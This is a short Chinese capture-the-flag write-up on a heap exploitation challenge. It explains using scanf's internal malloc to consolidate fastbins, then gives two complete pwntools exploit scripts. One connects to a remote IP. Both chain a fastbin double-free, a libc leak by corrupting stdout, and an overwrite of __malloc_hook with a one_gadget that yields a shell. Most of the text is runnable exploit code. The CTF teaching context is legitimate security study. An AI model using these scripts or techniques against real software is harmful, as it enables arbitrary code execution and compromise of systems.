free - > consolidate -> combine all the fastbins….

prelog

offical-wp出来后发现@peanuts师傅给出的解法比我的要灵活。
这里做一下记录.

Start

这题漏洞点比较明显 存在于free
主要的限制是malloc的大小<=0x60,所以不能直接获取一个unsortedbin

  • 绕过限制我想的是利用double 修改head
    事实上可以用更加巧妙的方法
    也就是利用scanf()里面的malloc来实现对fastbin的清理.//这个套路灰常的好用直接可以无视chunk_size的限制
    具体做法是
    1
    2
    3
    4
    5
    6
    malloc(0x60)#0
    malloc(0x60)#1
    malloc(0x60)#2
    free(0)
    free(1)
    p.sendline("1"*0x400)

    exp

    我原本的脚本比较繁琐
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    from pwn import *
    def cmd(c):
    p.sendlineafter(">> \n",str(c))
    def Cmd(c):
    p.sendlineafter(">> ",str(c))
    def add(size,idx,name="padding"):
    cmd(1)
    p.sendlineafter(": ",str(size))
    p.sendlineafter(": ",str(idx))
    p.sendafter(":\n",name)
    def free(idx):
    cmd(2)
    p.sendlineafter(":",str(idx))
    def edit(idx,name):
    cmd(3)
    p.sendlineafter(": ",str(idx))
    p.sendafter(":\n",name)
    def Add(size,idx,name="padding"):
    Cmd(1)
    p.sendlineafter(": ",str(size))
    p.sendlineafter(": ",str(idx))
    p.sendafter(":",name)
    def Free(idx):
    Cmd(2)
    p.sendlineafter(":",str(idx))

    #p=process('./pwn')
    p=remote("139.180.216.34",8888)
    #context.log_level='debug'
    add(0x18,0)
    add(0x18,1)
    add(0x60,2,p64(0x0)+p64(0x21)+'\x00'*0x18+p64(0x21)*5)
    add(0x60,3,p64(0x21)*12)
    add(0x60,4)
    add(0x60,5)
    free(0)
    free(1)
    free(0)
    free(1)

    add(0x18,0,"\x50")
    add(0x18,0,'\x00'*8)
    add(0x18,0,"A")

    add(0x18,0,'GET')

    edit(2,p64(0x0)+p64(0x91))
    free(0)

    add(0x18,0)
    add(0x60,0,'\xdd\x25')

    free(2)
    free(5)
    free(2)
    free(5)

    #gdb.attach(p,'')
    add(0x60,4,'\x70')
    #
    add(0x60,0)
    add(0x60,0)
    add(0x60,0)
    add(0x60,0,'\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19)
    p.read(0x40)

    base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd2600-0x7ffff7a0d000)
    log.warning(hex(base))
    #raw_input()
    libc=ELF("./pwn").libc
    Add(0x60,0)
    Add(0x60,1)
    Add(0x18,2)
    Free(0)
    Free(1)
    Free(0)
    Add(0x60,0,p64(libc.sym['__malloc_hook']+base-35))
    Add(0x60,0)
    Add(0x60,0)
    one=0xf02a4
    Add(0x60,0,'\x00'*19+p64(one+base))

    Free(1)
    Free(1)

    p.interactive()
    peanuts 师傅的脚本比我简单的多了.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    from pwn import *
    def cmd(c):
    p.sendlineafter(">> \n",str(c))
    def Cmd(c):
    p.sendlineafter(">> ",str(c))
    def add(size,idx,name="padding"):
    cmd(1)
    p.sendlineafter(": ",str(size))
    p.sendlineafter(": ",str(idx))
    p.sendafter(":\n",name)
    def free(idx):
    cmd(2)
    p.sendlineafter(":",str(idx))
    def edit(idx,name):
    cmd(3)
    p.sendlineafter(": ",str(idx))
    p.sendafter(":\n",name)
    def Add(size,idx,name="padding"):
    Cmd(1)
    p.sendlineafter(": ",str(size))
    p.sendlineafter(": ",str(idx))
    p.sendafter(":",name)
    def Free(idx):
    Cmd(2)
    p.sendlineafter(":",str(idx))

    p=process('./pwn')
    #p=remote("139.180.216.34",8888)
    context.log_level='debug'
    add(0x60,0)
    add(0x60,1)
    add(0x60,2)
    free(0)
    free(1)
    p.sendlineafter(">> \n","1"*0x400)
    add(0x60,0,'\xdd\x25')
    add(0x60,1)
    free(2)
    free(1)
    free(2)
    free(1)
    add(0x60,2,'\x00')

    add(0x60,3)
    add(0x60,3)
    add(0x60,3)
    add(0x60,3,'\x00'*0x33+p64(0x1800)+'\x00'*0x19)

    p.read(0x40)
    base=u64(p.read(8))-(0x7ffff7dd2600-0x00007ffff7a0d000)
    log.info(hex(base))

    libc=ELF("./pwn").libc
    Add(0x60,4)
    Add(0x60,5)
    Add(0x60,6)
    Free(4)
    Free(5)
    Free(4)
    one=0xf02a4
    Add(0x60,4,p64(libc.sym['__malloc_hook']+base-35))
    Add(0x60,4)
    Add(0x60,4)
    Add(0x60,4,"\x00"*19+p64(one+base))

    Free(3)
    p.interactive()

epilog

这个技巧有时候挺有用的.